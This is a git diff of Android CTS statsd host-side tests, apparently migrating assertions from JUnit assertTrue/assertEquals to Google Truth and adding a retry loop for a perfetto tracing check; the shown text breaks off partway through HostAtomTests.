diff --git a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
index 4983d06..00930cd 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alarm/AlarmTests.java
@@ -15,6 +15,8 @@
  */
 package android.cts.statsd.alarm;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.cts.statsd.atom.AtomTestCase;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -59,7 +61,7 @@
         String markTime = getCurrentLogcatDate();
         Thread.sleep(9_000);
 
-        if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
     }
 
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
index 3109138..5e9eac6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
@@ -15,6 +15,9 @@
  */
 package android.cts.statsd.alert;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.cts.statsd.atom.AtomTestCase;
 
 import com.android.internal.os.StatsdConfigProto;
@@ -94,29 +97,28 @@
         // count(label=6) -> 1 (not an anomaly, since not "greater than 2")
         doAppBreadcrumbReportedStart(6);
         Thread.sleep(500);
-        assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
-        if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
 
         // count(label=6) -> 2 (not an anomaly, since not "greater than 2")
         doAppBreadcrumbReportedStart(6);
         Thread.sleep(500);
-        assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
-        if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
 
         // count(label=12) -> 1 (not an anomaly, since not "greater than 2")
         doAppBreadcrumbReportedStart(12);
         Thread.sleep(1000);
-        assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
-        if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
 
         doAppBreadcrumbReportedStart(6); // count(label=6) -> 3 (anomaly, since "greater than 2"!)
         Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
 
         List<EventMetricData> data = getEventMetricDataList();
-        assertEquals("Expected 1 anomaly", 1, data.size());
-        AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
-        assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
-        if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Expected anomaly").that(data).hasSize(1);
+        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
     }
 
     // Tests that anomaly detection for duration works.
@@ -149,18 +151,18 @@
         String markTime = getCurrentLogcatDate();
         doAppBreadcrumbReportedStart(1);
         Thread.sleep(6_000);  // Recorded duration at end: 6s
-        assertEquals("Premature anomaly,", 0, getEventMetricDataList().size());
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
 
         doAppBreadcrumbReportedStop(1);
         Thread.sleep(4_000);  // Recorded duration at end: 6s
-        assertEquals("Premature anomaly,", 0, getEventMetricDataList().size());
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
 
         // Test that alarm does fire when it is supposed to (after 4s, plus up to 5s alarm delay).
         doAppBreadcrumbReportedStart(1);
         Thread.sleep(9_000);  // Recorded duration at end: 13s
         List<EventMetricData> data = getEventMetricDataList();
-        assertEquals("Expected an anomaly,", 1, data.size());
-        assertEquals(ALERT_ID, data.get(0).getAtom().getAnomalyDetected().getAlertId());
+        assertWithMessage("Expected anomaly").that(data).hasSize(1);
+        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
 
         // Now test that the refractory period is obeyed.
         markTime = getCurrentLogcatDate();
@@ -168,7 +170,7 @@
         doAppBreadcrumbReportedStart(1);
         Thread.sleep(3_000);  // Recorded duration at end: 13s
         // NB: the previous getEventMetricDataList also removes the report, so size is back to 0.
-        assertEquals("Expected only 1 anomaly,", 0, getEventMetricDataList().size());
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
 
         // Test that detection works again after refractory period finishes.
         doAppBreadcrumbReportedStop(1);
@@ -177,9 +179,9 @@
         Thread.sleep(15_000);  // Recorded duration at end: 15s
         // We can do an incidentd test now that all the timing issues are done.
         data = getEventMetricDataList();
-        assertEquals("Expected another anomaly,", 1, data.size());
-        assertEquals(ALERT_ID, data.get(0).getAtom().getAnomalyDetected().getAlertId());
-        if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Expected anomaly").that(data).hasSize(1);
+        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
 
         doAppBreadcrumbReportedStop(1);
     }
@@ -212,7 +214,7 @@
         Thread.sleep(5_000);
         doAppBreadcrumbReportedStop(1);
         Thread.sleep(2_000);
-        assertEquals("Premature anomaly,", 0, getEventMetricDataList().size());
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
 
         // Test that alarm does fire when it is supposed to.
         // The anomaly occurs in 1s, but alarms won't fire that quickly.
@@ -228,9 +230,8 @@
             // Although we expect that the alarm won't fire, we certainly cannot demand that.
             CLog.w(TAG, "The anomaly was detected twice. Presumably the alarm did manage to fire.");
         }
-        assertTrue("Expected 1 (or possibly 2) anomalies, instead of " + data.size(),
-                1 == data.size() || 2 == data.size());
-        assertEquals(ALERT_ID, data.get(0).getAtom().getAnomalyDetected().getAlertId());
+        assertThat(data.size()).isAnyOf(1, 2);
+        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
     }
 
     // Tests that anomaly detection for value works.
@@ -256,17 +257,16 @@
         String markTime = getCurrentLogcatDate();
         doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
         Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-        assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
-        if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
 
         doAppBreadcrumbReportedStart(14); // value = 14 > trigger
         Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
 
         List<EventMetricData> data = getEventMetricDataList();
-        assertEquals("Expected 1 anomaly", 1, data.size());
-        AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
-        assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
-        if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Expected anomaly").that(data).hasSize(1);
+        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
     }
 
     // Test that anomaly detection integrates with perfetto properly.
@@ -306,17 +306,28 @@
         String markTime = getCurrentLogcatDate();
         doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
         Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-        assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
-        if (PERFETTO_TESTS_ENABLED) assertFalse(isSystemTracingEnabled());
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+        if (PERFETTO_TESTS_ENABLED) assertThat(isSystemTracingEnabled()).isFalse();
 
         doAppBreadcrumbReportedStart(14); // value = 14 > trigger
         Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
 
         List<EventMetricData> data = getEventMetricDataList();
-        assertEquals("Expected 1 anomaly", 1, data.size());
-        AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
-        assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
-        if (PERFETTO_TESTS_ENABLED) assertTrue(isSystemTracingEnabled());
+        assertWithMessage("Expected anomaly").that(data).hasSize(1);
+        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+
+        // Pool a few times to allow for statsd <-> traced <-> traced_probes communication to happen.
+        if (PERFETTO_TESTS_ENABLED) {
+                boolean tracingEnabled = false;
+                for (int i = 0; i < 5; i++) {
+                        if (isSystemTracingEnabled()) {
+                                tracingEnabled = true;
+                                break;
+                        }
+                        Thread.sleep(1000);
+                }
+                assertThat(tracingEnabled).isTrue();
+        }
     }
 
     // Tests that anomaly detection for gauge works.
@@ -343,18 +354,17 @@
         String markTime = getCurrentLogcatDate();
         doAppBreadcrumbReportedStart(6); // gauge = 6, which is NOT > trigger
         Thread.sleep(Math.max(WAIT_AFTER_BREADCRUMB_MS, 1_100)); // Must be >1s to push next bucket.
-        assertEquals("Premature anomaly", 0, getEventMetricDataList().size());
-        if (INCIDENTD_TESTS_ENABLED) assertFalse("Incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
 
         // We waited for >1s above, so we are now in the next bucket (which is essential).
         doAppBreadcrumbReportedStart(14); // gauge = 14 > trigger
         Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
 
         List<EventMetricData> data = getEventMetricDataList();
-        assertEquals("Expected 1 anomaly", 1, data.size());
-        AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
-        assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
-        if (INCIDENTD_TESTS_ENABLED) assertTrue("No incident", didIncidentdFireSince(markTime));
+        assertWithMessage("Expected anomaly").that(data).hasSize(1);
+        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
+        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
     }
 
     // Test that anomaly detection for pulled metrics work.
@@ -399,9 +409,8 @@
 
         List<EventMetricData> data = getEventMetricDataList();
         // There will likely be many anomalies (one for each dimension). There must be at least one.
-        assertTrue("Expected >=1 anomaly", data.size() >= 1);
-        AnomalyDetected a = data.get(0).getAtom().getAnomalyDetected();
-        assertEquals("Wrong alert_id", ALERT_ID, a.getAlertId());
+        assertThat(data.size()).isAtLeast(1);
+        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
     }
 
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 5b5711c..4ec6142 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -18,6 +18,9 @@
 import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
 import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.os.BatteryStatsProto;
 import android.os.StatsDataDumpProto;
 import android.service.battery.BatteryServiceDumpProto;
@@ -54,6 +57,7 @@
 import com.android.tradefed.util.CommandResult;
 import com.android.tradefed.util.CommandStatus;
 
+import com.google.common.collect.Range;
 import com.google.common.io.Files;
 import com.google.protobuf.ByteString;
 
@@ -255,7 +259,7 @@
      */
     protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
             throws Exception {
-        assertTrue("Expected one report", reportList.getReportsCount() == 1);
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
         ConfigMetricsReport report = reportList.getReports(0);
 
         List<EventMetricData> data = new ArrayList<>();
@@ -273,15 +277,16 @@
 
     protected List<Atom> getGaugeMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        assertTrue("Expected one report.", reportList.getReportsCount() == 1);
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+
         // only config
         ConfigMetricsReport report = reportList.getReports(0);
-        assertEquals("Expected one metric in the report.", 1, report.getMetricsCount());
+        assertThat(report.getMetricsCount()).isEqualTo(1);
 
         List<Atom> data = new ArrayList<>();
         for (GaugeMetricData gaugeMetricData :
                 report.getMetrics(0).getGaugeMetrics().getDataList()) {
-            assertTrue("Expected one bucket.", gaugeMetricData.getBucketInfoCount() == 1);
+            assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
             for (Atom atom : gaugeMetricData.getBucketInfo(0).getAtomList()) {
                 data.add(atom);
             }
@@ -300,7 +305,7 @@
      */
     protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        assertTrue("Expected one report", reportList.getReportsCount() == 1);
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
         ConfigMetricsReport report = reportList.getReports(0);
 
         List<DurationMetricData> data = new ArrayList<>();
@@ -321,7 +326,7 @@
      */
     protected List<CountMetricData> getCountMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        assertTrue("Expected one report", reportList.getReportsCount() == 1);
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
         ConfigMetricsReport report = reportList.getReports(0);
 
         List<CountMetricData> data = new ArrayList<>();
@@ -342,7 +347,7 @@
      */
     protected List<ValueMetricData> getValueMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        assertTrue("Expected one report", reportList.getReportsCount() == 1);
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
         ConfigMetricsReport report = reportList.getReports(0);
 
         List<ValueMetricData> data = new ArrayList<>();
@@ -359,14 +364,14 @@
 
     protected StatsLogReport getStatsLogReport() throws Exception {
         ConfigMetricsReport report = getConfigMetricsReport();
-        assertTrue(report.hasUidMap());
-        assertEquals(1, report.getMetricsCount());
+        assertThat(report.hasUidMap()).isTrue();
+        assertThat(report.getMetricsCount()).isEqualTo(1);
         return report.getMetrics(0);
     }
 
     protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(1, reportList.getReportsCount());
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
         return reportList.getReports(0);
     }
 
@@ -624,7 +629,7 @@
             int wait, Function<Atom, Integer> getStateFromAtom) {
         // Sometimes, there are more events than there are states.
         // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
-        assertTrue("Too few states found (" + data.size() + ")", data.size() >= stateSets.size());
+        assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
         int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
         for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
             Atom atom = data.get(dataIndex).getAtom();
@@ -641,19 +646,18 @@
                 LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
                         + " in stateSetIndex " + stateSetIndex + ":\n"
                         + data.get(dataIndex).getAtom().toString());
-                assertTrue("Missed first state", dataIndex != 0); // should not be on first data
-                assertTrue("Too many states (" + (stateSetIndex + 1) + ")",
-                        stateSetIndex < stateSets.size());
-                assertTrue("Is in wrong state (" + state + ")",
-                        stateSets.get(stateSetIndex).contains(state));
+                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0); 
+                assertWithMessage("Too many states").that(stateSetIndex)
+                    .isLessThan(stateSets.size());
+                assertWithMessage(String.format("Is in wrong state (%d)", state))
+                    .that(stateSets.get(stateSetIndex)).contains(state);
                 if (wait > 0) {
                     assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
                             wait / 2, wait * 5);
                 }
             }
         }
-        assertTrue("Too few states (" + (stateSetIndex + 1) + ")",
-                stateSetIndex == stateSets.size() - 1);
+        assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
     }
 
     /**
@@ -899,8 +903,8 @@
     public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
             int minDiffMs, int maxDiffMs) {
         long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
-        assertTrue("Illegal time difference (" + diffMs + "ms)", minDiffMs <= diffMs);
-        assertTrue("Illegal time difference (" + diffMs + "ms)", diffMs <= maxDiffMs);
+        assertWithMessage("Illegal time difference")
+            .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
     }
 
     protected String getCurrentLogcatDate() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
index 94d5fdc..b110fff 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
@@ -16,6 +16,9 @@
 
 package android.cts.statsd.atom;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.cts.statsd.validation.ValidationTestUtil;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -52,7 +55,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        assertNotNull(mCtsBuild);
+        assertThat(mCtsBuild).isNotNull();
     }
 
     @Override
@@ -104,7 +107,8 @@
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         final String result = getDevice().installPackage(
                 buildHelper.getTestFile(appFileName), true, grantPermissions);
-        assertNull("Failed to install " + appFileName + ": " + result, result);
+        assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
+            .that(result).isNull();
     }
 
     protected CompatibilityBuildHelper getBuildHelper() {
@@ -135,7 +139,7 @@
         }
 
         CollectingTestListener listener = new CollectingTestListener();
-        assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
 
         final TestRunResult result = listener.getCurrentRunResults();
         if (result.isRunFailure()) {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
index ec6291d..8394006 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
@@ -15,6 +15,9 @@
  */
 package android.cts.statsd.atom;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
 import com.android.internal.os.StatsdConfigProto.MessageMatcher;
 import com.android.internal.os.StatsdConfigProto.Position;
@@ -80,9 +83,9 @@
         List<EventMetricData> data = doDeviceMethod(methodName, conf);
 
         if (demandExactlyTwo) {
-            assertEquals(2, data.size());
+            assertThat(data).hasSize(2);
         } else {
-            assertTrue("data.size() [" + data.size() + "] should be >= 2", data.size() >= 2);
+            assertThat(data.size()).isAtLeast(2);
         }
         assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
         return data;
@@ -165,9 +168,9 @@
                 + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
         String[] uidLineParts = uidLine.split(":");
         // 3rd entry is package uid
-        assertTrue(uidLineParts.length > 2);
+        assertThat(uidLineParts.length).isGreaterThan(2);
         int uid = Integer.parseInt(uidLineParts[2].trim());
-        assertTrue(uid > 10000);
+        assertThat(uid).isGreaterThan(10000);
         return uid;
     }
 
@@ -287,8 +290,10 @@
     protected void rebootDeviceAndWaitUntilReady() throws Exception {
         rebootDevice();
         // Wait for 2 mins.
-        assertTrue("Device failed to boot", getDevice().waitForBootComplete(120_000));
-        assertTrue("Stats service failed to start", waitForStatsServiceStart(60_000));
+        assertWithMessage("Device failed to boot")
+            .that(getDevice().waitForBootComplete(120_000)).isTrue();
+        assertWithMessage("Stats service failed to start")
+            .that(waitForStatsServiceStart(60_000)).isTrue();
         Thread.sleep(2_000);
     }
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 1f26565..cdaffd1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -16,6 +16,7 @@
 package android.cts.statsd.atom;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.os.BatteryPluggedStateEnum;
 import android.os.BatteryStatusEnum;
@@ -32,6 +33,8 @@
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
 
+import com.google.common.collect.Range;
+
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
@@ -349,11 +352,12 @@
 
         List<Atom> data = getGaugeMetricDataList();
 
-        assertTrue(data.size() > 0);
+        assertThat(data).isNotEmpty();
         Atom atom = data.get(0);
-        assertTrue(atom.getRemainingBatteryCapacity().hasChargeMicroAmpereHour());
+        assertThat(atom.getRemainingBatteryCapacity().hasChargeMicroAmpereHour()).isTrue();
         if (hasBattery()) {
-            assertTrue(atom.getRemainingBatteryCapacity().getChargeMicroAmpereHour() > 0);
+            assertThat(atom.getRemainingBatteryCapacity().getChargeMicroAmpereHour())
+                .isGreaterThan(0);
         }
     }
 
@@ -375,11 +379,11 @@
 
         List<Atom> data = getGaugeMetricDataList();
 
-        assertTrue(data.size() > 0);
+        assertThat(data).isNotEmpty();
         Atom atom = data.get(0);
-        assertTrue(atom.getFullBatteryCapacity().hasCapacityMicroAmpereHour());
+        assertThat(atom.getFullBatteryCapacity().hasCapacityMicroAmpereHour()).isTrue();
         if (hasBattery()) {
-            assertTrue(atom.getFullBatteryCapacity().getCapacityMicroAmpereHour() > 0);
+            assertThat(atom.getFullBatteryCapacity().getCapacityMicroAmpereHour()).isGreaterThan(0);
         }
     }
 
@@ -399,11 +403,11 @@
 
         List<Atom> data = getGaugeMetricDataList();
 
-        assertTrue(data.size() > 0);
+        assertThat(data).isNotEmpty();
         Atom atom = data.get(0);
-        assertTrue(atom.getBatteryVoltage().hasVoltageMillivolt());
+        assertThat(atom.getBatteryVoltage().hasVoltageMillivolt()).isTrue();
         if (hasBattery()) {
-            assertTrue(atom.getBatteryVoltage().getVoltageMillivolt() > 0);
+            assertThat(atom.getBatteryVoltage().getVoltageMillivolt()).isGreaterThan(0);
         }
     }
 
@@ -424,12 +428,11 @@
 
         List<Atom> data = getGaugeMetricDataList();
 
-        assertTrue(data.size() > 0);
+        assertThat(data).isNotEmpty();
         Atom atom = data.get(0);
-        assertTrue(atom.getBatteryLevel().hasBatteryLevel());
+        assertThat(atom.getBatteryLevel().hasBatteryLevel()).isTrue();
         if (hasBattery()) {
-            assertTrue(atom.getBatteryLevel().getBatteryLevel() > 0);
-            assertTrue(atom.getBatteryLevel().getBatteryLevel() <= 100);
+            assertThat(atom.getBatteryLevel().getBatteryLevel()).isIn(Range.openClosed(0, 100));
         }
     }
 
@@ -450,11 +453,11 @@
 
         List<Atom> data = getGaugeMetricDataList();
 
-        assertTrue(data.size() > 0);
+        assertThat(data).isNotEmpty();
         Atom atom = data.get(0);
-        assertTrue(atom.getBatteryCycleCount().hasCycleCount());
+        assertThat(atom.getBatteryCycleCount().hasCycleCount()).isTrue();
         if (hasBattery()) {
-            assertTrue(atom.getBatteryCycleCount().getCycleCount() >= 0);
+            assertThat(atom.getBatteryCycleCount().getCycleCount()).isAtLeast(0);
         }
     }
 
@@ -474,11 +477,11 @@
         List<Atom> data = getGaugeMetricDataList();
 
         Atom atom = data.get(0);
-        assertTrue(!atom.getKernelWakelock().getName().equals(""));
-        assertTrue(atom.getKernelWakelock().hasCount());
-        assertTrue(atom.getKernelWakelock().hasVersion());
-        assertTrue(atom.getKernelWakelock().getVersion() > 0);
-        assertTrue(atom.getKernelWakelock().hasTimeMicros());
+        assertThat(atom.getKernelWakelock().getName()).isNotEmpty();
+        assertThat(atom.getKernelWakelock().hasCount()).isTrue();
+        assertThat(atom.getKernelWakelock().hasVersion()).isTrue();
+        assertThat(atom.getKernelWakelock().getVersion()).isGreaterThan(0);
+        assertThat(atom.getKernelWakelock().hasTimeMicros()).isTrue();
     }
 
     // Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
@@ -510,12 +513,12 @@
         List<Atom> dataList = getGaugeMetricDataList();
 
         for (Atom atom: dataList) {
-            assertTrue(atom.getWifiActivityInfo().getTimestampMillis() > 0);
-            assertTrue(atom.getWifiActivityInfo().getStackState() >= 0);
-            assertTrue(atom.getWifiActivityInfo().getControllerIdleTimeMillis() > 0);
-            assertTrue(atom.getWifiActivityInfo().getControllerTxTimeMillis() >= 0);
-            assertTrue(atom.getWifiActivityInfo().getControllerRxTimeMillis() >= 0);
-            assertTrue(atom.getWifiActivityInfo().getControllerEnergyUsed() >= 0);
+            assertThat(atom.getWifiActivityInfo().getTimestampMillis()).isGreaterThan(0L);
+            assertThat(atom.getWifiActivityInfo().getStackState()).isAtLeast(0);
+            assertThat(atom.getWifiActivityInfo().getControllerIdleTimeMillis()).isGreaterThan(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerTxTimeMillis()).isAtLeast(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerRxTimeMillis()).isAtLeast(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerEnergyUsed()).isAtLeast(0L);
         }
     }
 
@@ -533,16 +536,17 @@
         Thread.sleep(WAIT_TIME_LONG);
 
         List<Atom> data = getGaugeMetricDataList();
-        assertTrue(data.size() > 0);
+        assertThat(data).isNotEmpty();
         BuildInformation atom = data.get(0).getBuildInformation();
-        assertEquals(getProperty("ro.product.brand"),             atom.getBrand());
-        assertEquals(getProperty("ro.product.name"),              atom.getProduct());
-        assertEquals(getProperty("ro.product.device"),            atom.getDevice());
-        assertEquals(getProperty("ro.build.version.release"),     atom.getVersionRelease());
-        assertEquals(getProperty("ro.build.id"),                  atom.getId());
-        assertEquals(getProperty("ro.build.version.incremental"), atom.getVersionIncremental());
-        assertEquals(getProperty("ro.build.type"),                atom.getType());
-        assertEquals(getProperty("ro.build.tags"),                atom.getTags());
+        assertThat(getProperty("ro.product.brand")).isEqualTo(atom.getBrand());
+        assertThat(getProperty("ro.product.name")).isEqualTo(atom.getProduct());
+        assertThat(getProperty("ro.product.device")).isEqualTo(atom.getDevice());
+        assertThat(getProperty("ro.build.version.release")).isEqualTo(atom.getVersionRelease());
+        assertThat(getProperty("ro.build.id")).isEqualTo(atom.getId());
+        assertThat(getProperty("ro.build.version.incremental"))
+            .isEqualTo(atom.getVersionIncremental());
+        assertThat(getProperty("ro.build.type")).isEqualTo(atom.getType());
+        assertThat(getProperty("ro.build.tags")).isEqualTo(atom.getTags());
     }
 
     public void testOnDevicePowerMeasurement() throws Exception {
@@ -563,8 +567,9 @@
         List<Atom> dataList = getGaugeMetricDataList();
 
         for (Atom atom: dataList) {
-            assertTrue(atom.getOnDevicePowerMeasurement().getMeasurementTimestampMillis() >= 0);
-            assertTrue(atom.getOnDevicePowerMeasurement().getEnergyMicrowattSecs() >= 0);
+            assertThat(atom.getOnDevicePowerMeasurement().getMeasurementTimestampMillis())
+                .isAtLeast(0L);
+            assertThat(atom.getOnDevicePowerMeasurement().getEnergyMicrowattSecs()).isAtLeast(0L);
         }
     }
 
@@ -582,8 +587,8 @@
 
         List<EventMetricData> data = getEventMetricDataList();
         AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
-        assertTrue(atom.getLabel() == 1);
-        assertTrue(atom.getState().getNumber() == AppBreadcrumbReported.State.START_VALUE);
+        assertThat(atom.getLabel()).isEqualTo(1);
+        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
     }
 
     // Test dumpsys stats --proto.
@@ -600,7 +605,7 @@
 
         // Get the stats incident section.
         List<ConfigMetricsReportList> listList = getReportsFromStatsDataDumpProto();
-        assertTrue(listList.size() > 0);
+        assertThat(listList).isNotEmpty();
 
         // Extract the relevent report from the incident section.
         ConfigMetricsReportList ourList = null;
@@ -612,14 +617,14 @@
                 break;
             }
         }
-        assertNotNull("Could not find list for uid=" + hostUid
-                + " id=" + CONFIG_ID, ourList);
+        assertWithMessage(String.format("Could not find list for uid=%d id=%d", hostUid, CONFIG_ID))
